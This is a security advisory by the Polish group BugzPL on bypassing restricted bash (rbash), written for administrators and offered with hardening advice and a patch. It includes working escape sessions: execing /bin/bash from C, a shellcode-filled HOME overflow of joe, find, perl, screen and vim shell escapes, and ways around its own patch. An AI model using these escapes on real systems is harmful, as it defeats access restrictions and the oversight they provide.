0x15.0x05.Y2K ------------------------------------- BugzPL ADVISORY #1, final version ------------------------------------- Bypassing restricted bash [ for fun and profit ;> ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I. Introduction ~~~~~~~~~~~~~~~ bash-2 gives us a possibility to use a shell in restricted mode. This mode can be initiated using several methods (bash2 --restricted, bash2 -r or by changing the name of bash to rbash). What do we obtain? According to the manual the following commands are disallowed or not performed: - changing directories with cd, - setting or unsetting the values of: SHELL, PATH, ENV and BASH_ENV, - specifying command names containing "/", - specifying command names starting with "./", - using the "exec" built-in command to replace the shell with another command, - redirecting output using the >, >|, <>, >&, &>, and >> redirection operators, - and a few more, but less interesting for us ;> Unfortunately bash2 only looks like providing some real restrictions. There are many ways of going round them. BugzPL strongly advises you NOT TO consider rbash as a secure solution. It gives you only an illusion of security by not providing what it is intended to provide. In Appendix A you can find a patch prepared by our group. It eliminates most of the possible attacks presented below. However, it's not a complete solution to the rbash problem, which we will prove in Appendix B :> II. Going round the restrictions: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ----------------------------------- 1. ERRORS IN RBASH'S CONFIGURATION: ----------------------------------- When setting up rbash for a given user ("test" in this example) the entry in the /etc/passwd file should be as follows: test:x:502:502::/home/test:/usr/rbin/rbash So if no further action is taken, the only thing this user has to do to get a regular shell, is to simply run it: [test@localhost test]$ pwd /home/test [test@localhost test]$ cd / bash2: cd: restricted [test@localhost test]$ pwd /home/test [test@localhost test]$ bash [test@localhost test]$ cd / [test@localhost /]$ pwd / [test@localhost /]$ _ So the BASIC thing every admin should do is: - to create a separate directory with commands (or commands' links) a restricted user can execute - and to set the PATH environmental variable to this directory. The restricted user can not be allowed to run programs in his home directory ("." (dot) in PATH). Otherwise a malicious user would be able to put a copy of a compiled bash with ftp and to run it or to run his own simple proggy: [test@localhost test]$ cat blah.c #include main() { execl("/bin/bash", "/bin/bash", NULL); return(0); } [test@localhost test]$ gcc blah.c [test@localhost test]$ cd / rbash: cd: restricted [test@localhost test]$ pwd /home/test [test@localhost test]$ a.out [test@localhost test]$ cd / [test@localhost /]$ [test@localhost test]$ pwd / [test@localhost test]$ _ As we can see, the restrictions are gone. Summing this up, .bash_profile should contain only the path to the dedicated directory: export PATH=/usr/rbin You should also set the immutable attribute (on ext2fs) to all the files used by the shell: bash# chattr +i .bash_profile .bash_logout .bashrc etc. ----------------------- 2. BUGS IN OTHER TOOLS: ----------------------- Even assuming a correct configuration of rbash there are still many ways to get restriction-free. For example you can use an overflow in some common application, forgotten because of "non-suid" status. The possibilities are numerous, let's just mention some classic ones like joe, pine, BitchX or ircII. An example using a buffer overflow in joe follows: [test@localhost test]$ cat home.txt ë-^‰v 1ÀˆF‰F ° ‰óN V Í€1Û‰Ø@Í€èÜÿÿÿ/bin/sh¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ [test@localhost test]$ export HOME=`cat home.txt` [test@localhost test]$ cd / rbash: cd: restricted [test@localhost test]$ pwd /home/test [test@localhost test]$ /bin/bash rbash: /bin/bash: restricted: cannot specify `/' in command names [test@localhost test]$ joe bash$ cd / bash$ pwd / bash$ _ As we can see, the restrictions are dropped when we overflow the buffer on the stack and force the program to execute a shell. We can prevent such attacks in the same way as the suid overflows, i.e. by using Solar Designer's kernel patch, StackGuard, StackShield etc. ------------------------ 3. PROGRAM FEATURES: ------------------------ Program features are another kind of problem. There's not much we can do. A few examples of using common programs options follow (there are many more possibilities, we just mention some): [test@localhost test]$ cd / rbash: cd: restricted [test@localhost test]$ /bin/bash rbash: /bin/bash: restricted: cannot specify `/' in command names [test@localhost test]$ pwd /home/test [test@localhost test]$ find .bash_history -exec /bin/bash -c /bin/bash \; #or [test@localhost test]$ perl -e 'exec "/bin/bash"' #or [test@localhost test]$ screen -s "/bin/bash" [test@localhost test]$ cd / [test@localhost test]$ pwd / [test@localhost /]$ _ Another example: this time no command line parameters. Let's execute a command inside a program. This one concerns the vi family editors (ex/vi/vim/view/elvis etc.). The vim example follows: [test@localhost test]$ cd / rbash: cd: restricted [test@localhost test]$ touch .vimrc [test@localhost test]$ vi .vimrc set shell=/bin/bash [test@localhost test]$ vi :sh bash$ cd / bash$ pwd / bash$ _ boom... ;> III. Summary: ~~~~~~~~~~~~~ Restricted bash should not be used as a real protection tool. A satisfactory solution to the issues presented in the manual above can be provided by lkm. The patch from Appendix A protects you against most of the attacks described above (except for the attack based on vi family editors). There are still ways to get round this patch (see Appendix B). BugzPL decided to give up further patching of rbash because it was simply pointless. IV. Authors and greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~ This advisory was created as a result of a discussion carried on BugzPL forum. It's a collection of solutions to the rbash problem, presented by (in alphabetic order): - arkth [arkth@team.com.pl], - Crashkiller [pawq@blue.profex.com.pl], - Magda Cien [magdac@k9.team.com.pl], - R4z0r [smoq@rpg.pl]. Summarised and edited by arkth. Translated by jerry [jerry@pabis.net.pl]. ( don't be so shy - ar... ;>> ) Greetings to (other members of BugzPL:) Aphazel, Buczer, cinu, jerry, MIV [ misq co z toba? ], nmz[?] ;>, p3rry, #hackingpl, #phreakpl and so on. APPENDIX A - Patch: ~~~~~~~~~~~~~~~~~~~ ------------- cut here ----------------- diff -Naur bash-2.03/execute_cmd.c bash-new/execute_cmd.c --- bash-2.03/execute_cmd.c Tue Jan 26 22:23:49 1999 +++ bash-new/execute_cmd.c Fri May 19 02:11:28 2000 @@ -2961,9 +2961,12 @@ pathname = words->word->word; #if defined (RESTRICTED_SHELL) - if (restricted && strchr (pathname, '/')) + if (((restricted) && + ((strchr (pathname, '/')) + || (strchr (command_line, '\\')) + || (strchr (command_line, '/'))))) { - internal_error ("%s: restricted: cannot specify `/' in command names", + internal_error ("%s: restricted: cannot specify `/' in command name or parameter", pathname); last_command_exit_value = EXECUTION_FAILURE; return; diff -Naur bash-2.03/shell.c bash-new/shell.c --- bash-2.03/shell.c Thu Feb 18 17:42:27 1999 +++ bash-new/shell.c Fri May 19 01:05:46 2000 @@ -1011,6 +1011,7 @@ set_var_read_only ("SHELL"); set_var_read_only ("ENV"); set_var_read_only ("BASH_ENV"); + set_var_read_only ("HOME"); restricted++; } return (restricted); ------------- cut here ----------------- APPENDIX B - Getting round this patch ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ...a few words on getting round our patch. 1. [test@localhost test]$ export PATH="/bin" rbash: PATH: readonly variable [test@localhost test]$ env PATH=/bin rbash: env: restricted: cannot specify `/' in command names or parameter [test@localhost test]$ cat blah /bin [test@localhost test]$ env PATH=`cat blah` bash [test@localhost test]$ cd /; pwd / [test@localhost /]$ _ 2. [test@localhost test]$ cat blah /bin/bash [test@localhost test]$ screen -s `cat blah` [test@localhost test]$ cd /; pwd / [test@localhost /]$ _ 3. [test@localhost test]$ cat blah shell "/bin/bash" [test@localhost test]$ screen -c blah [test@localhost test]$ cd / [test@localhost /]$ pwd / [test@localhost /]$ _ EOF :)